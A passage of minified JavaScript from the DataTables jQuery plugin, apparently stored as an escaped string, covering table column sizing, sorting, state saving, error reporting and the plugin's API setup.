style=\"height:0;overflow:hidden;\">'+C[b]+\"</div>\";a.style.width=A[b]},y);L&&G(function(a,b){a.innerHTML=\"\";a.style.width=B[b]},x);if(r.outerWidth()<g){u=i.scrollHeight>i.offsetHeight||\n\"scroll\"==q.css(\"overflow-y\")?g+f:g;if(w&&(i.scrollHeight>i.offsetHeight||\"scroll\"==q.css(\"overflow-y\")))O.width=s(u-f);(\"\"===c||\"\"!==e)&&I(a,1,\"Possible column misalignment\",6)}else u=\"100%\";n.width=s(u);j.width=s(u);L&&(a.nScrollFoot.style.width=s(u));!d&&w&&(n.height=s(t.offsetHeight+f));d&&b.bCollapse&&(n.height=s(d),b=c&&t.offsetWidth>i.offsetWidth?f:0,t.offsetHeight<i.offsetHeight&&(n.height=s(t.offsetHeight+b)));b=r.outerWidth();l[0].style.width=s(b);o.width=s(b);l=r.height()>i.clientHeight||\n\"scroll\"==q.css(\"overflow-y\");ha=\"padding\"+(ha.bScrollbarLeft?\"Left\":\"Right\");o[ha]=l?f+\"px\":\"0px\";L&&(p[0].style.width=s(b),k[0].style.width=s(b),k[0].style[ha]=l?f+\"px\":\"0px\");q.scroll();if((a.bSorted||a.bFiltered)&&!a._drawHold)i.scrollTop=0}function G(a,b,c){for(var e=0,d=0,f=b.length,g,j;d<f;){g=b[d].firstChild;for(j=c?c[d].firstChild:null;g;)1===g.nodeType&&(c?a(g,j,e):a(g,e),e++),g=g.nextSibling,j=c?j.nextSibling:null;d++}}function Ga(a){var b=a.nTable,c=a.aoColumns,e=a.oScroll,d=e.sY,f=e.sX,\ng=e.sXInner,j=c.length,e=Z(a,\"bVisible\"),i=h(\"th\",a.nTHead),o=b.getAttribute(\"width\"),l=b.parentNode,k=!1,n,m;(n=b.style.width)&&-1!==n.indexOf(\"%\")&&(o=n);for(n=0;n<e.length;n++)m=c[e[n]],null!==m.sWidth&&(m.sWidth=Db(m.sWidthOrig,l),k=!0);if(!k&&!f&&!d&&j==aa(a)&&j==i.length)for(n=0;n<j;n++)c[n].sWidth=s(i.eq(n).width());else{j=h(b).clone().css(\"visibility\",\"hidden\").removeAttr(\"id\");j.find(\"tbody tr\").remove();var p=h(\"<tr/>\").appendTo(j.find(\"tbody\"));j.find(\"tfoot th, tfoot td\").css(\"width\",\n\"\");i=qa(a,j.find(\"thead\")[0]);for(n=0;n<e.length;n++)m=c[e[n]],i[n].style.width=null!==m.sWidthOrig&&\"\"!==m.sWidthOrig?s(m.sWidthOrig):\"\";if(a.aoData.length)for(n=0;n<e.length;n++)k=e[n],m=c[k],h(Eb(a,k)).clone(!1).append(m.sContentPadding).appendTo(p);j.appendTo(l);f&&g?j.width(g):f?(j.css(\"width\",\"auto\"),j.width()<l.offsetWidth&&j.width(l.offsetWidth)):d?j.width(l.offsetWidth):o&&j.width(o);Fb(a,j[0]);if(f){for(n=g=0;n<e.length;n++)m=c[e[n]],d=h(i[n]).outerWidth(),g+=null===m.sWidthOrig?d:parseInt(m.sWidth,\n10)+d-h(i[n]).width();j.width(s(g));b.style.width=s(g)}for(n=0;n<e.length;n++)if(m=c[e[n]],d=h(i[n]).width())m.sWidth=s(d);b.style.width=s(j.css(\"width\"));j.remove()}o&&(b.style.width=s(o));if((o||f)&&!a._reszEvt)b=function(){h(Ea).bind(\"resize.DT-\"+a.sInstance,ua(function(){X(a)}))},a.oBrowser.bScrollOversize?setTimeout(b,1E3):b(),a._reszEvt=!0}function ua(a,b){var c=b!==k?b:200,e,d;return function(){var b=this,g=+new Date,j=arguments;e&&g<e+c?(clearTimeout(d),d=setTimeout(function(){e=k;a.apply(b,\nj)},c)):(e=g,a.apply(b,j))}}function Db(a,b){if(!a)return 0;var c=h(\"<div/>\").css(\"width\",s(a)).appendTo(b||Q.body),e=c[0].offsetWidth;c.remove();return e}function Fb(a,b){var c=a.oScroll;if(c.sX||c.sY)c=!c.sX?c.iBarWidth:0,b.style.width=s(h(b).outerWidth()-c)}function Eb(a,b){var c=Gb(a,b);if(0>c)return null;var e=a.aoData[c];return!e.nTr?h(\"<td/>\").html(x(a,c,b,\"display\"))[0]:e.anCells[b]}function Gb(a,b){for(var c,e=-1,d=-1,f=0,g=a.aoData.length;f<g;f++)c=x(a,f,b,\"display\")+\"\",c=c.replace($b,\"\"),\nc.length>e&&(e=c.length,d=f);return d}function s(a){return null===a?\"0px\":\"number\"==typeof a?0>a?\"0px\":a+\"px\":a.match(/\\d$/)?a+\"px\":a}function Hb(){var a=m.__scrollbarWidth;if(a===k){var b=h(\"<p/>\").css({position:\"absolute\",top:0,left:0,width:\"100%\",height:150,padding:0,overflow:\"scroll\",visibility:\"hidden\"}).appendTo(\"body\"),a=b[0].offsetWidth-b[0].clientWidth;m.__scrollbarWidth=a;b.remove()}return a}function U(a){var b,c,e=[],d=a.aoColumns,f,g,j,i;b=a.aaSortingFixed;c=h.isPlainObject(b);var o=[];\nf=function(a){a.length&&!h.isArray(a[0])?o.push(a):o.push.apply(o,a)};h.isArray(b)&&f(b);c&&b.pre&&f(b.pre);f(a.aaSorting);c&&b.post&&f(b.post);for(a=0;a<o.length;a++){i=o[a][0];f=d[i].aDataSort;b=0;for(c=f.length;b<c;b++)g=f[b],j=d[g].sType||\"string\",o[a]._idx===k&&(o[a]._idx=h.inArray(o[a][1],d[g].asSorting)),e.push({src:i,col:g,dir:o[a][1],index:o[a]._idx,type:j,formatter:m.ext.type.order[j+\"-pre\"]})}return e}function lb(a){var b,c,e=[],d=m.ext.type.order,f=a.aoData,g=0,j,i=a.aiDisplayMaster,h;\nHa(a);h=U(a);b=0;for(c=h.length;b<c;b++)j=h[b],j.formatter&&g++,Ib(a,j.col);if(\"ssp\"!=B(a)&&0!==h.length){b=0;for(c=i.length;b<c;b++)e[i[b]]=b;g===h.length?i.sort(function(a,b){var c,d,g,j,i=h.length,k=f[a]._aSortData,m=f[b]._aSortData;for(g=0;g<i;g++)if(j=h[g],c=k[j.col],d=m[j.col],c=c<d?-1:c>d?1:0,0!==c)return\"asc\"===j.dir?c:-c;c=e[a];d=e[b];return c<d?-1:c>d?1:0}):i.sort(function(a,b){var c,g,j,i,k=h.length,m=f[a]._aSortData,r=f[b]._aSortData;for(j=0;j<k;j++)if(i=h[j],c=m[i.col],g=r[i.col],i=d[i.type+\n\"-\"+i.dir]||d[\"string-\"+i.dir],c=i(c,g),0!==c)return c;c=e[a];g=e[b];return c<g?-1:c>g?1:0})}a.bSorted=!0}function Jb(a){for(var b,c,e=a.aoColumns,d=U(a),a=a.oLanguage.oAria,f=0,g=e.length;f<g;f++){c=e[f];var j=c.asSorting;b=c.sTitle.replace(/<.*?>/g,\"\");var i=c.nTh;i.removeAttribute(\"aria-sort\");c.bSortable&&(0<d.length&&d[0].col==f?(i.setAttribute(\"aria-sort\",\"asc\"==d[0].dir?\"ascending\":\"descending\"),c=j[d[0].index+1]||j[0]):c=j[0],b+=\"asc\"===c?a.sSortAscending:a.sSortDescending);i.setAttribute(\"aria-label\",\nb)}}function Ua(a,b,c,e){var d=a.aaSorting,f=a.aoColumns[b].asSorting,g=function(a,b){var c=a._idx;c===k&&(c=h.inArray(a[1],f));return c+1<f.length?c+1:b?null:0};\"number\"===typeof d[0]&&(d=a.aaSorting=[d]);c&&a.oFeatures.bSortMulti?(c=h.inArray(b,D(d,\"0\")),-1!==c?(b=g(d[c],!0),null===b&&1===d.length&&(b=0),null===b?d.splice(c,1):(d[c][1]=f[b],d[c]._idx=b)):(d.push([b,f[0],0]),d[d.length-1]._idx=0)):d.length&&d[0][0]==b?(b=g(d[0]),d.length=1,d[0][1]=f[b],d[0]._idx=b):(d.length=0,d.push([b,f[0]]),d[0]._idx=\n0);N(a);\"function\"==typeof e&&e(a)}function Oa(a,b,c,e){var d=a.aoColumns[c];Va(b,{},function(b){!1!==d.bSortable&&(a.oFeatures.bProcessing?(C(a,!0),setTimeout(function(){Ua(a,c,b.shiftKey,e);\"ssp\"!==B(a)&&C(a,!1)},0)):Ua(a,c,b.shiftKey,e))})}function xa(a){var b=a.aLastSort,c=a.oClasses.sSortColumn,e=U(a),d=a.oFeatures,f,g;if(d.bSort&&d.bSortClasses){d=0;for(f=b.length;d<f;d++)g=b[d].src,h(D(a.aoData,\"anCells\",g)).removeClass(c+(2>d?d+1:3));d=0;for(f=e.length;d<f;d++)g=e[d].src,h(D(a.aoData,\"anCells\",\ng)).addClass(c+(2>d?d+1:3))}a.aLastSort=e}function Ib(a,b){var c=a.aoColumns[b],e=m.ext.order[c.sSortDataType],d;e&&(d=e.call(a.oInstance,a,b,$(a,b)));for(var f,g=m.ext.type.order[c.sType+\"-pre\"],j=0,i=a.aoData.length;j<i;j++)if(c=a.aoData[j],c._aSortData||(c._aSortData=[]),!c._aSortData[b]||e)f=e?d[j]:x(a,j,b,\"sort\"),c._aSortData[b]=g?g(f):f}function ya(a){if(a.oFeatures.bStateSave&&!a.bDestroying){var b={time:+new Date,start:a._iDisplayStart,length:a._iDisplayLength,order:h.extend(!0,[],a.aaSorting),\nsearch:zb(a.oPreviousSearch),columns:h.map(a.aoColumns,function(b,e){return{visible:b.bVisible,search:zb(a.aoPreSearchCols[e])}})};w(a,\"aoStateSaveParams\",\"stateSaveParams\",[a,b]);a.oSavedState=b;a.fnStateSaveCallback.call(a.oInstance,a,b)}}function Kb(a){var b,c,e=a.aoColumns;if(a.oFeatures.bStateSave){var d=a.fnStateLoadCallback.call(a.oInstance,a);if(d&&d.time&&(b=w(a,\"aoStateLoadParams\",\"stateLoadParams\",[a,d]),-1===h.inArray(!1,b)&&(b=a.iStateDuration,!(0<b&&d.time<+new Date-1E3*b)&&e.length===\nd.columns.length))){a.oLoadedState=h.extend(!0,{},d);d.start!==k&&(a._iDisplayStart=d.start,a.iInitDisplayStart=d.start);d.length!==k&&(a._iDisplayLength=d.length);d.order!==k&&(a.aaSorting=[],h.each(d.order,function(b,c){a.aaSorting.push(c[0]>=e.length?[0,c[1]]:c)}));d.search!==k&&h.extend(a.oPreviousSearch,Ab(d.search));b=0;for(c=d.columns.length;b<c;b++){var f=d.columns[b];f.visible!==k&&(e[b].bVisible=f.visible);f.search!==k&&h.extend(a.aoPreSearchCols[b],Ab(f.search))}w(a,\"aoStateLoaded\",\"stateLoaded\",\n[a,d])}}}function za(a){var b=m.settings,a=h.inArray(a,D(b,\"nTable\"));return-1!==a?b[a]:null}function I(a,b,c,e){c=\"DataTables warning: \"+(null!==a?\"table id=\"+a.sTableId+\" - \":\"\")+c;e&&(c+=\". For more information about this error, please see http://datatables.net/tn/\"+e);if(b)Ea.console&&console.log&&console.log(c);else if(b=m.ext,b=b.sErrMode||b.errMode,w(a,null,\"error\",[a,e,c]),\"alert\"==b)alert(c);else{if(\"throw\"==b)throw Error(c);\"function\"==typeof b&&b(a,e,c)}}function E(a,b,c,e){h.isArray(c)?\nh.each(c,function(c,f){h.isArray(f)?E(a,b,f[0],f[1]):E(a,b,f)}):(e===k&&(e=c),b[c]!==k&&(a[e]=b[c]))}function Lb(a,b,c){var e,d;for(d in b)b.hasOwnProperty(d)&&(e=b[d],h.isPlainObject(e)?(h.isPlainObject(a[d])||(a[d]={}),h.extend(!0,a[d],e)):a[d]=c&&\"data\"!==d&&\"aaData\"!==d&&h.isArray(e)?e.slice():e);return a}function Va(a,b,c){h(a).bind(\"click.DT\",b,function(b){a.blur();c(b)}).bind(\"keypress.DT\",b,function(a){13===a.which&&(a.preventDefault(),c(a))}).bind(\"selectstart.DT\",function(){return!1})}function z(a,\nb,c,e){c&&a[b].push({fn:c,sName:e})}function w(a,b,c,e){var d=[];b&&(d=h.map(a[b].slice().reverse(),function(b){return b.fn.apply(a.oInstance,e)}));null!==c&&(b=h.Event(c+\".dt\"),h(a.nTable).trigger(b,e),d.push(b.result));return d}function Sa(a){var b=a._iDisplayStart,c=a.fnDisplayEnd(),e=a._iDisplayLength;b>=c&&(b=c-e);b-=b%e;if(-1===e||0>b)b=0;a._iDisplayStart=b}function Pa(a,b){var c=a.renderer,e=m.ext.renderer[b];return h.isPlainObject(c)&&c[b]?e[c[b]]||e._:\"string\"===typeof c?e[c]||e._:e._}function B(a){return a.oFeatures.bServerSide?\n\"ssp\":a.ajax||a.sAjaxSource?\"ajax\":\"dom\"}function Wa(a,b){var c=[],c=Mb.numbers_length,e=Math.floor(c/2);b<=c?c=V(0,b):a<=e?(c=V(0,c-2),c.push(\"ellipsis\"),c.push(b-1)):(a>=b-1-e?c=V(b-(c-2),b):(c=V(a-e+2,a+e-1),c.push(\"ellipsis\"),c.push(b-1)),c.splice(0,0,\"ellipsis\"),c.splice(0,0,0));c.DT_el=\"span\";return c}function db(a){h.each({num:function(b){return Aa(b,a)},\"num-fmt\":function(b){return Aa(b,a,Xa)},\"html-num\":function(b){return Aa(b,a,Ba)},\"html-num-fmt\":function(b){return Aa(b,a,Ba,Xa)}},function(b,\nc){u.type.order[b+a+\"-pre\"]=c;b.match(/^html\\-/)&&(u.type.search[b+a]=u.type.search.html)})}function Nb(a){return function(){var b=[za(this[m.ext.iApiIndex])].concat(Array.prototype.slice.call(arguments));return m.ext.internal[a].apply(this,b)}}var m,u,t,r,v,Ya={},Ob=/[\\r\\n]/g,Ba=/<.*?>/g,ac=/^[\\w\\+\\-]/,bc=/[\\w\\+\\-]$/,Yb=RegExp(\"(\\\\/|\\\\.|\\\\*|\\\\+|\\\\?|\\\\||\\\\(|\\\\)|\\\\[|\\\\]|\\\\{|\\\\}|\\\\\\\\|\\\\$|\\\\^|\\\\-)\",\"g\"),Xa=/[',$\\u00a3\\u20ac\\u00a5%\\u2009\\u202F\\u20BD\\u20a9\\u20BArfk]/gi,J=function(a){return!a||!0===a||\n\"-\"===a?!0:!1},Pb=function(a){var b=parseInt(a,10);return!isNaN(b)&&isFinite(a)?b:null},Qb=function(a,b){Ya[b]||(Ya[b]=RegExp(va(b),\"g\"));return\"string\"===typeof a&&\".\"!==b?a.replace(/\\./g,\"\").replace(Ya[b],\".\"):a},Za=function(a,b,c){var e=\"string\"===typeof a;if(J(a))return!0;b&&e&&(a=Qb(a,b));c&&e&&(a=a.replace(Xa,\"\"));return!isNaN(parseFloat(a))&&isFinite(a)},Rb=function(a,b,c){return J(a)?!0:!(J(a)||\"string\"===typeof a)?null:Za(a.replace(Ba,\"\"),b,c)?!0:null},D=function(a,b,c){var e=[],d=0,f=a.length;\nif(c!==k)for(;d<f;d++)a[d]&&a[d][b]&&e.push(a[d][b][c]);else for(;d<f;d++)a[d]&&e.push(a[d][b]);return e},ia=function(a,b,c,e){var d=[],f=0,g=b.length;if(e!==k)for(;f<g;f++)a[b[f]][c]&&d.push(a[b[f]][c][e]);else for(;f<g;f++)d.push(a[b[f]][c]);return d},V=function(a,b){var c=[],e;b===k?(b=0,e=a):(e=b,b=a);for(var d=b;d<e;d++)c.push(d);return c},Sb=function(a){for(var b=[],c=0,e=a.length;c<e;c++)a[c]&&b.push(a[c]);return b},Na=function(a){var b=[],c,e,d=a.length,f,g=0;e=0;a:for(;e<d;e++){c=a[e];for(f=\n0;f<g;f++)if(b[f]===c)continue a;b.push(c);g++}return b},A=function(a,b,c){a[b]!==k&&(a[c]=a[b])},ba=/\\[.*?\\]$/,T=/\\(\\)$/,wa=h(\"<div>\")[0],Zb=wa.textContent!==k,$b=/<.*?>/g;m=function(a){this.$=function(a,b){return this.api(!0).$(a,b)};this._=function(a,b){return this.api(!0).rows(a,b).data()};this.api=function(a){return a?new t(za(this[u.iApiIndex])):new t(this)};this.fnAddData=function(a,b){var c=this.api(!0),e=h.isArray(a)&&(h.isArray(a[0])||h.isPlainObject(a[0]))?c.rows.add(a):c.row.add(a);(b===\nk||b)&&c.draw();return e.flatten().toArray()};this.fnAdjustColumnSizing=function(a){var b=this.api(!0).columns.adjust(),c=b.settings()[0],e=c.oScroll;a===k||a?b.draw(!1):(\"\"!==e.sX||\"\"!==e.sY)&&Y(c)};this.fnClearTable=function(a){var b=this.api(!0).clear();(a===k||a)&&b.draw()};this.fnClose=function(a){this.api(!0).row(a).child.hide()};this.fnDeleteRow=function(a,b,c){var e=this.api(!0),a=e.rows(a),d=a.settings()[0],h=d.aoData[a[0][0]];a.remove();b&&b.call(this,d,h);(c===k||c)&&e.draw();return h};\nthis.fnDestroy=function(a){this.api(!0).destroy(a)};this.fnDraw=function(a){this.api(!0).draw(a)};this.fnFilter=function(a,b,c,e,d,h){d=this.api(!0);null===b||b===k?d.search(a,c,e,h):d.column(b).search(a,c,e,h);d.draw()};this.fnGetData=function(a,b){var c=this.api(!0);if(a!==k){var e=a.nodeName?a.nodeName.toLowerCase():\"\";return b!==k||\"td\"==e||\"th\"==e?c.cell(a,b).data():c.row(a).data()||null}return c.data().toArray()};this.fnGetNodes=function(a){var b=this.api(!0);return a!==k?b.row(a).node():b.rows().nodes().flatten().toArray()};\nthis.fnGetPosition=function(a){var b=this.api(!0),c=a.nodeName.toUpperCase();return\"TR\"==c?b.row(a).index():\"TD\"==c||\"TH\"==c?(a=b.cell(a).index(),[a.row,a.columnVisible,a.column]):null};this.fnIsOpen=function(a){return this.api(!0).row(a).child.isShown()};this.fnOpen=function(a,b,c){return this.api(!0).row(a).child(b,c).show().child()[0]};this.fnPageChange=function(a,b){var c=this.api(!0).page(a);(b===k||b)&&c.draw(!1)};this.fnSetColumnVis=function(a,b,c){a=this.api(!0).column(a).visible(b);(c===\nk||c)&&a.columns.adjust().draw()};this.fnSettings=function(){return za(this[u.iApiIndex])};this.fnSort=function(a){this.api(!0).order(a).draw()};this.fnSortListener=function(a,b,c){this.api(!0).order.listener(a,b,c)};this.fnUpdate=function(a,b,c,e,d){var h=this.api(!0);c===k||null===c?h.row(b).data(a):h.cell(b,c).data(a);(d===k||d)&&h.columns.adjust();(e===k||e)&&h.draw();return 0};this.fnVersionCheck=u.fnVersionCheck;var b=this,c=a===k,e=this.length;c&&(a={});this.oApi=this.internal=u.internal;for(var d in m.ext.internal)d&&\n(this[d]=Nb(d));this.each(function(){var d={},d=1<e?Lb(d,a,!0):a,g=0,j,i=this.getAttribute(\"id\"),o=!1,l=m.defaults,q=h(this);if(\"table\"!=this.nodeName.toLowerCase())I(null,0,\"Non-table node initialisation (\"+this.nodeName+\")\",2);else{eb(l);fb(l.column);H(l,l,!0);H(l.column,l.column,!0);H(l,h.extend(d,q.data()));var n=m.settings,g=0;for(j=n.length;g<j;g++){var r=n[g];if(r.nTable==this||r.nTHead.parentNode==this||r.nTFoot&&r.nTFoot.parentNode==this){g=d.bRetrieve!==k?d.bRetrieve:l.bRetrieve;if(c||g)return r.oInstance;\nif(d.bDestroy!==k?d.bDestroy:l.bDestroy){r.oInstance.fnDestroy();break}else{I(r,0,\"Cannot reinitialise DataTable\",3);return}}if(r.sTableId==this.id){n.splice(g,1);break}}if(null===i||\"\"===i)this.id=i=\"DataTables_Table_\"+m.ext._unique++;var p=h.extend(!0,{},m.models.oSettings,{sDestroyWidth:q[0].style.width,sInstance:i,sTableId:i});p.nTable=this;p.oApi=b.internal;p.oInit=d;n.push(p);p.oInstance=1===b.length?b:q.dataTable();eb(d);d.oLanguage&&P(d.oLanguage);d.aLengthMenu&&!d.iDisplayLength&&(d.iDisplayLength=\nh.isArray(d.aLengthMenu[0])?d.aLengthMenu[0][0]:d.aLengthMenu[0]);d=Lb(h.extend(!0,{},l),d);E(p.oFeatures,d,\"bPaginate bLengthChange bFilter bSort bSortMulti bInfo bProcessing bAutoWidth bSortClasses bServerSide bDeferRender\".split(\" \"));E(p,d,[\"asStripeClasses\",\"ajax\",\"fnServerData\",\"fnFormatNumber\",\"sServerMethod\",\"aaSorting\",\"aaSortingFixed\",\"aLengthMenu\",\"sPaginationType\",\"sAjaxSource\",\"sAjaxDataProp\",\"iStateDuration\",\"sDom\",\"bSortCellsTop\",\"iTabIndex\",\"fnStateLoadCallback\",\"fnStateSaveCallback\",\n\"renderer\",\"searchDelay\",[\"iCookieDuration\",\"iStateDuration\"],[\"oSearch\",\"oPreviousSearch\"],[\"aoSearchCols\",\"aoPreSearchCols\"],[\"iDisplayLength\",\"_iDisplayLength\"],[\"bJQueryUI\",\"bJUI\"]]);E(p.oScroll,d,[[\"sScrollX\",\"sX\"],[\"sScrollXInner\",\"sXInner\"],[\"sScrollY\",\"sY\"],[\"bScrollCollapse\",\"bCollapse\"]]);E(p.oLanguage,d,\"fnInfoCallback\");z(p,\"aoDrawCallback\",d.fnDrawCallback,\"user\");z(p,\"aoServerParams\",d.fnServerParams,\"user\");z(p,\"aoStateSaveParams\",d.fnStateSaveParams,\"user\");z(p,\"aoStateLoadParams\",\nd.fnStateLoadParams,\"user\");z(p,\"aoStateLoaded\",d.fnStateLoaded,\"user\");z(p,\"aoRowCallback\",d.fnRowCallback,\"user\");z(p,\"aoRowCreatedCallback\",d.fnCreatedRow,\"user\");z(p,\"aoHeaderCallback\",d.fnHeaderCallback,\"user\");z(p,\"aoFooterCallback\",d.fnFooterCallback,\"user\");z(p,\"aoInitComplete\",d.fnInitComplete,\"user\");z(p,\"aoPreDrawCallback\",d.fnPreDrawCallback,\"user\");i=p.oClasses;d.bJQueryUI?(h.extend(i,m.ext.oJUIClasses,d.oClasses),d.sDom===l.sDom&&\"lfrtip\"===l.sDom&&(p.sDom='<\"H\"lfr>t<\"F\"ip>'),p.renderer)?\nh.isPlainObject(p.renderer)&&!p.renderer.header&&(p.renderer.header=\"jqueryui\"):p.renderer=\"jqueryui\":h.extend(i,m.ext.classes,d.oClasses);q.addClass(i.sTable);if(\"\"!==p.oScroll.sX||\"\"!==p.oScroll.sY)p.oScroll.iBarWidth=Hb();!0===p.oScroll.sX&&(p.oScroll.sX=\"100%\");p.iInitDisplayStart===k&&(p.iInitDisplayStart=d.iDisplayStart,p._iDisplayStart=d.iDisplayStart);null!==d.iDeferLoading&&(p.bDeferLoading=!0,g=h.isArray(d.iDeferLoading),p._iRecordsDisplay=g?d.iDeferLoading[0]:d.iDeferLoading,p._iRecordsTotal=\ng?d.iDeferLoading[1]:d.iDeferLoading);var t=p.oLanguage;h.extend(!0,t,d.oLanguage);\"\"!==t.sUrl&&(h.ajax({dataType:\"json\",url:t.sUrl,success:function(a){P(a);H(l.oLanguage,a);h.extend(true,t,a);ga(p)},error:function(){ga(p)}}),o=!0);null===d.asStripeClasses&&(p.asStripeClasses=[i.sStripeOdd,i.sStripeEven]);var g=p.asStripeClasses,s=q.children(\"tbody\").find(\"tr\").eq(0);-1!==h.inArray(!0,h.map(g,function(a){return s.hasClass(a)}))&&(h(\"tbody tr\",this).removeClass(g.join(\" \")),p.asDestroyStripes=g.slice());\nn=[];g=this.getElementsByTagName(\"thead\");0!==g.length&&(da(p.aoHeader,g[0]),n=qa(p));if(null===d.aoColumns){r=[];g=0;for(j=n.length;g<j;g++)r.push(null)}else r=d.aoColumns;g=0;for(j=r.length;g<j;g++)Fa(p,n?n[g]:null);ib(p,d.aoColumnDefs,r,function(a,b){ka(p,a,b)});if(s.length){var u=function(a,b){return a.getAttribute(\"data-\"+b)!==null?b:null};h.each(na(p,s[0]).cells,function(a,b){var c=p.aoColumns[a];if(c.mData===a){var d=u(b,\"sort\")||u(b,\"order\"),e=u(b,\"filter\")||u(b,\"search\");if(d!==null||e!==\nnull){c.mData={_:a+\".display\",sort:d!==null?a+\".@data-\"+d:k,type:d!==null?a+\".@data-\"+d:k,filter:e!==null?a+\".@data-\"+e:k};ka(p,a)}}})}var v=p.oFeatures;d.bStateSave&&(v.bStateSave=!0,Kb(p,d),z(p,\"aoDrawCallback\",ya,\"state_save\"));if(d.aaSorting===k){n=p.aaSorting;g=0;for(j=n.length;g<j;g++)n[g][1]=p.aoColumns[g].asSorting[0]}xa(p);v.bSort&&z(p,\"aoDrawCallback\",function(){if(p.bSorted){var a=U(p),b={};h.each(a,function(a,c){b[c.src]=c.dir});w(p,null,\"order\",[p,a,b]);Jb(p)}});z(p,\"aoDrawCallback\",\nfunction(){(p.bSorted||B(p)===\"ssp\"||v.bDeferRender)&&xa(p)},\"sc\");gb(p);g=q.children(\"caption\").each(function(){this._captionSide=q.css(\"caption-side\")});j=q.children(\"thead\");0===j.length&&(j=h(\"<thead/>\").appendTo(this));p.nTHead=j[0];j=q.children(\"tbody\");0===j.length&&(j=h(\"<tbody/>\").appendTo(this));p.nTBody=j[0];j=q.children(\"tfoot\");if(0===j.length&&0<g.length&&(\"\"!==p.oScroll.sX||\"\"!==p.oScroll.sY))j=h(\"<tfoot/>\").appendTo(this);0===j.length||0===j.children().length?q.addClass(i.sNoFooter):\n0<j.length&&(p.nTFoot=j[0],da(p.aoFooter,p.nTFoot));if(d.aaData)for(g=0;g<d.aaData.length;g++)K(p,d.aaData[g]);else(p.bDeferLoading||\"dom\"==B(p))&&ma(p,h(p.nTBody).children(\"tr\"));p.aiDisplay=p.aiDisplayMaster.slice();p.bInitialised=!0;!1===o&&ga(p)}});b=null;return this};var Tb=[],y=Array.prototype,cc=function(a){var b,c,e=m.settings,d=h.map(e,function(a){return a.nTable});if(a){if(a.nTable&&a.oApi)return[a];if(a.nodeName&&\"table\"===a.nodeName.toLowerCase())return b=h.inArray(a,d),-1!==b?[e[b]]:\nnull;if(a&&\"function\"===typeof a.settings)return a.settings().toArray();\"string\"===typeof a?c=h(a):a instanceof h&&(c=a)}else return[];if(c)return c.map(function(){b=h.inArray(this,d);return-1!==b?e[b]:null}).toArray()};t=function(a,b){if(!(this instanceof t))return new t(a,b);var c=[],e=function(a){(a=cc(a))&&c.push.apply(c,a)};if(h.isArray(a))for(var d=0,f=a.length;d<f;d++)e(a[d]);else e(a);this.context=Na(c);b&&this.push.apply(this,b.toArray?b.toArray():b);this.selector={rows:null,cols:null,opts:null};\nt.extend(this,this,Tb)};m.Api=t;t.prototype={any:function(){return 0!==this.flatten().length},concat:y.concat,context:[],each:function(a){for(var b=0,c=this.length;b<c;b++)a.call(this,this[b],b,this);return this},eq:function(a){var b=this.context;return b.length>a?new t(b[a],this[a]):null},filter:function(a){var b=[];if(y.filter)b=y.filter.call(this,a,this);else for(var c=0,e=this.length;c<e;c++)a.call(this,this[c],c,this)&&b.push(this[c]);return new t(this.context,b)},flatten:function(){var a=[];\nreturn new t(this.context,a.concat.apply(a,this.toArray()))},join:y.join,indexOf:y.indexOf||function(a,b){for(var c=b||0,e=this.length;c<e;c++)if(this[c]===a)return c;return-1},iterator:function(a,b,c,e){var d=[],f,g,h,i,o,l=this.context,q,n,m=this.selector;\"string\"===typeof a&&(e=c,c=b,b=a,a=!1);g=0;for(h=l.length;g<h;g++){var p=new t(l[g]);if(\"table\"===b)f=c.call(p,l[g],g),f!==k&&d.push(f);else if(\"columns\"===b||\"rows\"===b)f=c.call(p,l[g],this[g],g),f!==k&&d.push(f);else if(\"column\"===b||\"column-rows\"===\nb||\"row\"===b||\"cell\"===b){n=this[g];\"column-rows\"===b&&(q=Ca(l[g],m.opts));i=0;for(o=n.length;i<o;i++)f=n[i],f=\"cell\"===b?c.call(p,l[g],f.row,f.column,g,i):c.call(p,l[g],f,g,i,q),f!==k&&d.push(f)}}return d.length||e?(a=new t(l,a?d.concat.apply([],d):d),b=a.selector,b.rows=m.rows,b.cols=m.cols,b.opts=m.opts,a):this},lastIndexOf:y.lastIndexOf||function(a,b){return this.indexOf.apply(this.toArray.reverse(),arguments)},length:0,map:function(a){var b=[];if(y.map)b=y.map.call(this,a,this);else for(var c=\n0,e=this.length;c<e;c++)b.push(a.call(this,this[c],c));return new t(this.context,b)},pluck:function(a){return this.map(function(b){return b[a]})},pop:y.pop,push:y.push,reduce:y.reduce||function(a,b){return hb(this,a,b,0,this.length,1)},reduceRight:y.reduceRight||function(a,b){return hb(this,a,b,this.length-1,-1,-1)},reverse:y.reverse,selector:null,shift:y.shift,sort:y.sort,splice:y.splice,toArray:function(){return y.slice.call(this)},to$:function(){return h(this)},toJQuery:function(){return h(this)},\nunique:function(){return new t(this.context,Na(this))},unshift:y.unshift};t.extend=function(a,b,c){if(c.length&&b&&(b instanceof t||b.__dt_wrapper)){var e,d,f,g=function(a,b,c){return function(){var d=b.apply(a,arguments);t.extend(d,d,c.methodExt);return d}};e=0;for(d=c.length;e<d;e++)f=c[e],b[f.name]=\"function\"===typeof f.val?g(a,f.val,f):h.isPlainObject(f.val)?{}:f.val,b[f.name].__dt_wrapper=!0,t.extend(a,b[f.name],f.propExt)}};t.register=r=function(a,b){if(h.isArray(a))for(var c=0,e=a.length;c<\ne;c++)t.register(a[c],b);else for(var d=a.split(\".\"),f=Tb,g,j,c=0,e=d.length;c<e;c++){g=(j=-1!==d[c].indexOf(\"()\"))?d[c].replace(\"()\",\"\"):d[c];var i;a:{i=0;for(var o=f.length;i<o;i++)if(f[i].name===g){i=f[i];break a}i=null}i||(i={name:g,val:{},methodExt:[],propExt:[]},f.push(i));c===e-1?i.val=b:f=j?i.methodExt:i.propExt}};t.registerPlural=v=function(a,b,c){t.register(a,c);t.register(b,function(){var a=c.apply(this,arguments);return a===this?this:a instanceof t?a.length?h.isArray(a[0])?new t(a.context,\na[0]):a[0]:k:a})};r(\"tables()\",function(a){var b;if(a){b=t;var c=this.context;if(\"number\"===typeof a)a=[c[a]];else var e=h.map(c,function(a){return a.nTable}),a=h(e).filter(a).map(function(){var a=h.inArray(this,e);return c[a]}).toArray();b=new b(a)}else b=this;return b});r(\"table()\",function(a){var a=this.tables(a),b=a.context;return b.length?new t(b[0]):a});v(\"tables().nodes()\",\"table().node()\",function(){return this.iterator(\"table\",function(a){return a.nTable},1)});v(\"tables().body()\",\"table().body()\",\nfunction(){return this.iterator(\"table\",function(a){return a.nTBody},1)});v(\"tables().header()\",\"table().header()\",function(){return this.iterator(\"table\",function(a){return a.nTHead},1)});v(\"tables().footer()\",\"table().footer()\",function(){return this.iterator(\"table\",function(a){return 